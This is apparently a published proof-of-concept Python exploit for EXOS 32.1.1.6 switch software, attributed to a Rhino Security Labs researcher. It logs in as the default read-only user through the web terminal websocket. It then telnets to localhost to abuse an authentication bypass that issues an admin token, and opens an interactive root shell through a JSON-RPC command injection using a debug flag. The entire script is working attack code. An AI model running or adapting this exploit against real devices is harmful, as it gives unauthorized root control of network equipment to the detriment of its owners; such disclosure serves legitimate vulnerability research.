"""
Author: Dave Yesland @daveysec with Rhino Security Labs

This EXOS exploit will escalate a read-only user to root by exploiting a localhost
auth bypass vulnerability abusing the web terminal and telnet and a privesc from admin to root.

Tested on EXOS version 32.1.1.6.

This allows a read-only user to run commands as root.

The default user is "user" with and empty password.
"""


from websocket import create_connection
import argparse
import requests
import json
import re

parser = argparse.ArgumentParser(description="User to admin escalation")
parser.add_argument("--target", help="Target (http://<ip>)", required=True)
parser.add_argument("--user", help='Username if different from "user"')
parser.add_argument("--password", help="Password if different from empty")
args = parser.parse_args()

target = args.target
target_host = target.split("//")[1]

if args.user:
    USER = args.user
else:
    USER = "user"

if args.password:
    PASSWORD = args.password
else:
    PASSWORD = ""

# Test the target
r = requests.get(f"{target}/terminal")
if r.status_code != 200:
    print("[!] No /terminal endpoint found on target, exiting...")
    print("[!] Target does not appear to be vulnerable")
    exit(1)

attempts = 0

while True:
    if attempts > 10:
        print("[!] Exploit failed too many times, exiting...")
        exit()
    attempts += 1
    ws = create_connection(f"ws://{target_host}/ws/_websocket/")
    result = ws.recv()
    # Extract the tty session number from the response
    try:
        tty = json.loads(result)[1][0].split("/")[2]
    except IndexError:
        print("[!] Exploit failed getting tty session, trying again...")
        continue
    # Extract the auth token parameter from the response
    auth_token_param = json.loads(result)[1][0].split("/")[3]
    # Extract the cookie from the response
    cookie = json.loads(result)[1][1]
    print(f"[+] Got terminal cookie: {cookie}")
    # Add the cookie to the headers
    extra_headers = {
        "Cookie": f"PYXTERM_AUTH={cookie}",
    }

    # Now we can connect to the tty session
    print(f"[+] Connecting to tty session {tty}...")
    ws = create_connection(
        f"ws://{target_host}/ws/_websocket/{tty}/{auth_token_param}", header=extra_headers
    )

    # Setup the session and receive the responses
    result = ws.recv()
    ws.send('["set_size",56,153,954,1278]')
    result = ws.recv()
    # Sometimes exploit fails here, if so try again
    if "disconnect" in result:
        print("[!] Exploit failed connecting to tty, trying again...")
        continue

    ws.send(f'["stdin","{USER}\r"]')
    result = ws.recv()
    ws.send(f'["stdin","{PASSWORD}\r"]')
    result = ws.recv()
    result = ws.recv()
    if "Login incorrect" in result:
        print("[!] Exploit failed authenticating, wrong user or password...")
        exit()
    result = ws.recv()

    # Send the telnet command to get the admin auth token
    # This abuses telnet to send an HTTP request to localhost/auth/token
    # This endpoint considers localhost to be privileged and issues an admin session
    ws.send(
        '["stdin","telnet 127.0.0.1:80\nGET /auth/token HTTP/1.1\nHost: 127.0.0.1\n\n"]'
    )
    result = ws.recv()
    result = ws.recv()
    result = ws.recv()
    cookies = re.findall(r"Set-Cookie: (.*?);", result)
    # Sometimes exploit fails here, if so try again
    if cookies:
        # Find the admin auth token in the cookies
        auth_token = [cookie.split("=")[1] for cookie in cookies][0]
        print(f"[*] Found admin auth token: {auth_token}")
    else:
        print(f"[!] Exploit failed getting an admin auth token, trying again...")
        continue

    # Close out the session
    # Too many open sessions will prevent more from opening
    ws.send('["kill_term"]')
    ws.close()
    break

# Now we can use the admin cookies to get a shell
print("[+] Using admin token to get pseudo shell...")

session = requests.session()

burp0_url = f"{target}/jsonrpc/?show"
burp0_cookies = {"x-auth-token": f"{auth_token}"}


def run_cmd(cmd):
    cmd_json = {
        "id": "1",
        "jsonrpc": "2.0",
        "method": "cli",
        # \" -d \" allows commands to be executed as root by using the debug flag
        "params": [f"run script shell {cmd} 2>&1 \" -d\""],

    }
    r = session.post(burp0_url, cookies=burp0_cookies, json=cmd_json)
    return r


while True:
    cmd = input("$ ")
    cmd_result = run_cmd(cmd)
    print(cmd_result.json()["result"]["CLIoutput"])